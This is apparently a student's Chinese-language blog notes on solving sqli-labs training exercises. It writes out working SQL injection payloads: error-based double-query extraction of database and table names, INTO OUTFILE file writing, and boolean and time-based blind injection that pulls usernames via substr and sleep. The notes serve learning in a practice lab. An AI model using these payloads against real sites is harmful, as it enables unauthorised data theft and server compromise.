sqli_labs 解题笔记(2)

双查询注入、php反弹shell、hackbar里get、post区别

1个菜b学sql注入的笔记,大佬绕过

前面水了很多,是因为好多基础知识俺8太会。因此到了这里,就8会再水了

lesson_5 双查询注入, 错误回显来返回信息


尝试注入, 发现要么报错,要么显示上面的东东

result1: You are in………..
result2: You have an error in your SQL syntax…..

所以此处我们要学习1个新的思路,叫利用错误回显来获得信息

利用错误回显来返回信息(抄作业)

前置知识

实操

举例: 一个阔以在报错回显里获得当前数据库的语句:

1
-1' union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a#

大概意思就是根据报错来回显信息,这得搓代码多少年才能想到这个…会用就行了……
attention: 由于rand()函数的随机性,需要多次刷新,会得到下图结果

获得当前database: security 可恶,是幻术
然后把上述语句的database()换成user(),刷新几次,获得当前user
再获得table_name以及其他信息:

1
?id=-1' union select count(*),2,concat(':',(select group_concat(table_name) from information_schema.tables where table_schema='security'),':',floor(rand()*2))as a from information_schema.tables group by a-- 

刷新几次后….

0hhhhhhhhhhhhhhhh!!!!!!!

lesson_7 文件反弹shell

首先,盲注

1
2
3
4
?id=1'-- error
?id=1"-- 正常
?id=1')-- error
?id=1'))-- 正常,返回结果: You are in.... Use outfile......

(ps: 所以有时候括号要闭合好几次啊)

根据返回结果可知,这又是个错误回显注入,然后尝试用双查询、updatexml()等各种错误回显,发现8行,错误回显没有数据

网上搜索可知,这里根据回显结果’Use outfile’提示,要用到php反弹shell,原理见俺另一个记录sql注入姿势原理的博客

于是我们就阔以构造:

1
/?id=-1')) union select group_concat(username) from users into outfile 'F:/shit.txt'-- 

于是,就报错了

因为mysql在配置文件里限制了导出文件的路径,既然如此,就要知道这个路径

为此我们要用到这个: datadir、basedir(具体原理见俺另一个记录sql注入姿势原理的博客)

1
union select @@datadir,@@basedir-- 

投个机,在第一关试试:

就知道了

然后开始构造:
.
.
.

这关迟迟过不了,太菜了,网上的payload原封不动地上都没反应,阔能是环境错了。还是先学学基础,比如这关要用到的基础知识: 一句话木马

然后周四再去问问210这关咋搞

后续:
今天去210,bw师傅给俺解决了,大致原因是: 首先linux里的路径阔以是’/‘也阔以是’',但windows里则只能是’/‘;其次你的secure_file_priv一开始的值是”NULL”,mysql里NULL和空是2个概念,俺的理解就是:NULL表示没有,空表示没有限制,想是啥都行

如图,虽然报错,但是生成了文件,记得以后路径要用’/‘

lesson_8 我超,盲注

所谓盲注,就是在注入过程中数据不能回显到前端页面,全靠猜,猜对和猜错的回显8一样(所以叫布尔)

而又因为全靠猜,所以得搓脚本

具体的分类以及姿势,写在另一个博客里了

到这里就要再学一些函数了

操作:

首先判断你要查的东东的名字长度, 比如数据库:

1
and (length(database())=8)-- 

比如mysql版本(一般是4或5):

1
and substring(@@version,1,1)=5 --

然后就通过ascii一个一个猜

1
and (ascii(substr(database(),1,1))=115) -- 

此处自然是要写脚本,之前学的爬虫排上用场了,可是俺的Python在装双环境时出问题了,一直没解决….

但是还有burp和sqlmap阔以用,过了

lesson_9 时间盲注

此处的特点是,无论后面拼接的语句是否正确,都只会返回同样的结果: You are in….

而布尔盲注一般会返回2个结果,所以此关要用到时间盲注

eg:

1
2
and if(length(substr((select username from users limit {},1),1))={},sleep(5),1)-- 
and if(ascii(substr((select username from users limit {},1),{},1))={},sleep(5),1)--

lesson_13 基于报错的布尔盲注

本关闭合错误会有回显,但闭合正确了啥都不显示(比如输入Dumb、Dumb分别为username、password,不会回显)

同时正确闭合后时间盲注也没卵用
同时这个也没卵用

1
and length(database()=18))


但是,基于报错的布尔盲注是有用的!!(因为人家会返回报错)

add: 关于hackbar里post和get传参的区别

我草….来回几遍以为是语法错误检查不出来,后来才发现hackbar在post传参时是要用url码的…..

比如: 在get传参时,可以用’– ‘来表示注释,但在post传参里则必须为’–+’

而如果在post里不用url码,则会出现以下结果:


sqli_labs 解题笔记(2)
https://bl4zygao.github.io/2021/10/29/sqli-labs-解题笔记-2/
Author
bl4zy
Posted on
October 29, 2021
Licensed under